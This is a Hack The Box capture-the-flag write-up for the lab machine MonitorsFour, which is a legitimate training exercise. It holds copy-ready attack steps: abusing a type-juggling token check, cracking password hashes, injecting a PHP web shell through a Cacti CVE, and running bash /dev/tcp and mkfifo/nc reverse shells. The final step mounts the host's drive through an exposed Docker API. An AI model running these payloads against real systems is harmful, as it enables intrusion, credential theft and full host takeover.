Hack The Box / WINDOWS / 2026-05-23
Hack The Box - MonitorsFour (Windows)
Type juggling bypasses API token checks, exposed credentials and Cacti username enumeration lead to authenticated RCE, and a Docker Desktop API exposure provides a host filesystem escape to the Windows root flag.
Target
- IP:
10.10.11.98
Port Scan
sudo nmap -sC -sV 10.10.11.98 -p- -v
PORT STATE SERVICE VERSION
80/tcp open http nginx
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Add monitorsfour.htb to /etc/hosts.
Go to http://monitorsfour.htb/.
It is a PHP site.
gobuster dir -u 'http://monitorsfour.htb/' -w /home/kali/wordlists/raft-small-words.txt -t 50
/login (Status: 200) [Size: 4340]
/.html (Status: 403) [Size: 146]
/contact (Status: 200) [Size: 367]
/.htm (Status: 403) [Size: 146]
/user (Status: 200) [Size: 35]
/static (Status: 301) [Size: 162] [--> http://monitorsfour.htb/static/]
/.htaccess (Status: 403) [Size: 146]
/views (Status: 301) [Size: 162] [--> http://monitorsfour.htb/views/]
/controllers (Status: 301) [Size: 162] [--> http://monitorsfour.htb/controllers/]
/forgot-password (Status: 200) [Size: 3099]
If we go to http://monitorsfour.htb/contact, we get warnings:
Warning: include(/var/www/app/views/contact.php): Failed to open stream: No such file or directory in /var/www/app/Router.php on line 110
Warning: include(): Failed opening '/var/www/app/views/contact.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/app/Router.php on line 110
Now we know the filesystem path of the web application.
We also notice that the .env file is exposed. Let's fetch it at http://monitorsfour.htb/.env.
Inside we find:
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
When we log in, we see a request being sent to http://monitorsfour.htb/api/v1/auth.
gobuster dir -u 'http://monitorsfour.htb/api/v1/' -w /home/kali/wordlists/raft-small-words.txt -t 50
/.html (Status: 403) [Size: 146]
/.htm (Status: 403) [Size: 146]
/user (Status: 200) [Size: 35]
/logout (Status: 302) [Size: 0] [--> /login]
/users (Status: 200) [Size: 35]
/auth (Status: 405) [Size: 0]
/.htaccess (Status: 403) [Size: 146]
/reset (Status: 405) [Size: 0]
Go to http://monitorsfour.htb/users.
We get:
{"error":"Missing token parameter"}
If we go to http://monitorsfour.htb/api/v1/users?token=abcd, we get:
{"error":"Invalid or missing token"}
It turns out we can abuse type juggling. Go to:
http://monitorsfour.htb/api/v1/users?token=0e1234
We get:
[{"id":2,"username":"admin","email":"admin@monitorsfour.htb","password":"56b32eb43e6f15395f6c46c1c9e1cd36","role":"super user","token":"8024b78f83f102da4f","name":"Marcus Higgins","position":"System Administrator","dob":"1978-04-26","start_date":"2021-01-12","salary":"320800.00"},{"id":5,"username":"mwatson","email":"mwatson@monitorsfour.htb","password":"69196959c16b26ef00b77d82cf6eb169","role":"user","token":"0e543210987654321","name":"Michael Watson","position":"Website Administrator","dob":"1985-02-15","start_date":"2021-05-11","salary":"75000.00"},{"id":6,"username":"janderson","email":"janderson@monitorsfour.htb","password":"2a22dcf99190c322d974c8df5ba3256b","role":"user","token":"0e999999999999999","name":"Jennifer Anderson","position":"Network Engineer","dob":"1990-07-16","start_date":"2021-06-20","salary":"68000.00"},{"id":7,"username":"dthompson","email":"dthompson@monitorsfour.htb","password":"8d4a7e7fd08555133e056d9aacb1e519","role":"user","token":"0e111111111111111","name":"David Thompson","position":"Database Manager","dob":"1982-11-23","start_date":"2022-09-15","salary":"83000.00"}]
Put the following in a file named hash:
admin:56b32eb43e6f15395f6c46c1c9e1cd36
mwatson:69196959c16b26ef00b77d82cf6eb169
janderson:2a22dcf99190c322d974c8df5ba3256b
dthompson:8d4a7e7fd08555133e056d9aacb1e519
./hashcat/hashcat -a 0 -m 0 ./hash ./rockyou.txt --username
./hashcat/hashcat -a 0 -m 0 ./hash ./rockyou.txt --username --show
We get:
admin:56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1
Log in on the site with the credentials admin:wonderful1.
It looks like we cannot do much.
From the users page we notice that the admin is called Marcus.
gobuster vhost -u 'http://monitorsfour.htb/' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 --append-domain
Found: cacti.monitorsfour.htb Status: 302 [Size: 0] [--> /cacti]
Add cacti.monitorsfour.htb to /etc/hosts.
Go to http://cacti.monitorsfour.htb/cacti/.
It is Cacti version 1.2.28. There do not seem to be any exploit paths available for unauthenticated users.
We can fuzz Cacti usernames. If we try to log in with a valid username, the response contains Login failed. If the username does not exist, the response contains Login Failed.
Use Burp Proxy, intercept the login request, right click, then choose copy to file to save it as cacti_login_req.txt.
Edit cacti_login_req.txt and set FUZZ as the username value.
ffuf -request cacti_login_req.txt -request-proto http -w /home/kali/wordlists/xato-net-10-million-usernames.txt -mr 'Login failed' -t 50
admin [Status: 200, Size: 14193, Words: 607, Lines: 275, Duration: 1573ms]
marcus [Status: 200, Size: 14194, Words: 607, Lines: 275, Duration: 6818ms]
Log in to Cacti with marcus:wonderful1.
There is a vulnerability which can be abused by authenticated users: CVE-2025-24367. A proof of concept is explained here: https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq
Create a new graph template.
Set the name and title to anything.
Click Save.
Intercept the request with Burp.
Change the right-axis-label field like this:
XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph xxx2.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=system($_GET[0]);?>
Send the request. Now go to Management, then Graphs. Click our graph. Now go to:
http://cacti.monitorsfour.htb/cacti/xxx2.php?0=whoami
We get:
"time","www-data www-data" 1767800700,"NaN"
So we are the www-data user.
We try to get a reverse shell.
Start a netcat listener:
nc -vlnp 4444
Then go to:
http://cacti.monitorsfour.htb/cacti/xxx2.php?0=bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E16%2E243%2F4444%200%3E%261%27
We get a reverse shell. Upgrade the shell to a full terminal:
script -qc /bin/bash /dev/null
CRTL+z
stty raw -echo
fg
We are inside a Docker container.
cat include/config.php
We notice:
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'mariadb';
$database_username = 'cactidbuser';
$database_password = '7pyrf6ly8qx4';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host proto kernel_lo
valid_lft forever preferred_lft forever
2: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 42:b4:a2:2c:23:c1 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft forever
Download a statically compiled nmap binary from https://github.com/opsec-infosec/nmap-static-binaries/raw/refs/heads/master/linux/x86_64/nmap and upload it to the victim machine.
Copy nmap-services and nmap-protocols from /usr/share/nmap and upload them too.
On the victim machine, run:
./nmap 172.18.0.1 -p- -T5 -v
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
3306/tcp open mysql
38591/tcp open unknown
./nmap 172.18.0.2 -p- -T5 -v
Nmap scan report for mariadb.docker_setup_default (172.18.0.2)
Host is up (0.00030s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
3306/tcp open mysql
Since the target machine is Windows, we can assume Docker Desktop is being used to manage containers. There is a vulnerability: CVE-2025-9074.
It is described here: https://nvd.nist.gov/vuln/detail/CVE-2025-9074
Apparently we can access the Docker HTTP API at 192.168.65.7 on port 2375.
curl http://192.168.65.7:2375/_ping
OK
curl http://192.168.65.7:2375/version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"28.3.2","Details":{"ApiVersion":"1.51","Arch":"amd64","BuildTime":"2025-07-09T16:13:55.000000000+00:00","Experimental":"false","GitCommit":"e77ff99","GoVersion":"go1.24.5","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.7.27","Details":{"GitCommit":"05044ec0a9a75232cad458027ca83437aae3f4da"}},{"Name":"runc","Version":"1.2.5","Details":{"GitCommit":"v1.2.5-0-g59923ef"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"28.3.2","ApiVersion":"1.51","MinAPIVersion":"1.24","GitCommit":"e77ff99","GoVersion":"go1.24.5","Os":"linux","Arch":"amd64","KernelVersion":"6.6.87.2-microsoft-standard-WSL2","BuildTime":"2025-07-09T16:13:55.000000000+00:00"}
Get the images:
curl http://192.168.65.7:2375/images/json
We notice there are docker_setup-nginx-php:latest and alpine:latest images.
Get the containers:
curl http://192.168.65.7:2375/containers/json
Now the idea is to run an Alpine container that spawns a reverse shell. On the attacker machine, start a netcat listener:
nc -vlnp 4444
On the victim container, run:
curl -s -X POST http://192.168.65.7:2375/containers/create -H "Content-Type: application/json" -d '{"Image":"alpine","Cmd":["sh","-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.243 4444 >/tmp/f"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}'
{"Id":"c18a527c8d12129272f9040454e13c8cf17bc29b8b8a172ad21783c3ddf23b7f","Warnings":[]}
curl -X POST http://192.168.65.7:2375/containers/c18a527c8d12129272f9040454e13c8cf17bc29b8b8a172ad21783c3ddf23b7f/start
We get a reverse shell.
At /host_root there is the filesystem of the target Windows machine.
So we can retrieve the root flag at /host_root/Users/Administrator/Desktop/root.txt.